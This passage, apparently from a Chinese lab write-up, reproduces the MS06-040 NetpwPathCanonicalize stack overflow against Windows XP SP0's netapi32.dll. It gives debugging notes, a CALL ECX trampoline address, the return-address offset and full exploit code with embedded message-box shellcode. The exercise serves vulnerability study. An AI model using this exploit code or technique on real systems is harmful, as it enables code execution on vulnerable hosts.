    memset(PathName1,'a',sizeof(PathName1)-2);
    
    memset(PathName2,0,sizeof(PathName2));
    memset(PathName2,0,sizeof(PathName2));
    memset(PathName2,'b',sizeof(PathName2)-2);
    
    // set Prefix as a null string
    memset(Prefix1,0,sizeof(Prefix1));
    memset(Prefix2,0,sizeof(Prefix2));
    
    // call NetpwPathCanonicalize several times to overflow
    (Trigger)(PathName1,Outbuf,1 ,Prefix1,&PathType1,0);
    (Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0);
    FreeLibrary(LibHandle);
	return 0;
}

动态调试

在动态调试时,当第二次调用 NetpwPathCanonicalize,运行至 0x5FDDA33E 处的 wcscat 时发生了栈溢出,如下图所示。

image-20220717215304487

可以看到, EBP、返回地址以及 CanonicalizePathName 的部分参数被覆盖,溢出成功。ecx 始终指向栈中(0x0012EA18),那我们就选用 0x71BBFCBE 处的 CALL ECX 作为跳板。

image-20220717220145700

从上面溢出图片可以看出,0x0012EE2C 是被 ”bbbb“ 溢出覆盖了,我们只用找到它相对偏移就能够替换掉 0x0012EE2C 处的内容。向前找到 b 的起始位置,可以看到 b 从 0x0012EB9A 处开始,相对偏移就是 0x(292+4)。直接在钩造完成后,复制前,把PathName2[296] 覆盖为我们想要的地址( 0x71BBFCBE )。

因为我们需要执行 shellcode,所以我们要把 shellcode 放在 PathName1 的开头,就能运行。

按照如下布局,构建代码。

#include <windows.h>
typedef void (__stdcall * MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, long *, long);
#define PATH1_SIZE (0xc2*2)
#define PATH2_SIZE (0x150*2)
#define OUTBUF_SIZE 0x440
#define PREFIX_SIZE 0x410

char ShellCode[]=
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

int main()
{
    char PathName1[PATH1_SIZE];
    char PathName2[PATH2_SIZE];
    char Outbuf[OUTBUF_SIZE];
    int OutbufLen=OUTBUF_SIZE;
    char Prefix1[PREFIX_SIZE];
    char Prefix2[PREFIX_SIZE];
    long PathType1=44;
    long PathType2=44;
    
    //load vulnerability netapi32.dll which we got from a WINXP sp0 host
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[ ] = "./netapi32.dll"; // care for the path
    char VulFunc[ ] = "NetpwPathCanonicalize";
    
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
	
    // fill PathName
    memset(PathName1,0,sizeof(PathName1));
    memset(PathName1,0,sizeof(PathName1));
    memset(PathName1,'a',sizeof(PathName1)-2);

	// 将ShellCode拷贝到缓冲区中
	memcpy(PathName1, ShellCode, sizeof(ShellCode));
	// 将ShellCode后面的0x00填充为0x90
	PathName1[sizeof(ShellCode)-1] = 0x90;
    
    // set Prefix as a null string
    memset(Prefix1,0,sizeof(Prefix1));
    memset(Prefix2,0,sizeof(Prefix2));
    
    memset(PathName2,0,sizeof(PathName2));
    memset(PathName2,0,sizeof(PathName2));
    memset(PathName2,'b',sizeof(PathName2)-2);
    
	// 将返回地址覆盖为jmp ebp 71BBFCBE
	PathName2[0x296] = 0xBE;
	PathName2[0x297] = 0xFC;
	PathName2[0x298] = 0xBB;
	PathName2[0x299] = 0x71;
    
    // call NetpwPathCanonicalize several times to overflow
    (Trigger)(PathName1,Outbuf,1 ,Prefix1,&PathType1,0);
    (Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0);
    FreeLibrary(LibHandle);
	return 0;
}

最后,运行,又是我们熟悉的对话框。

image-20220717230456660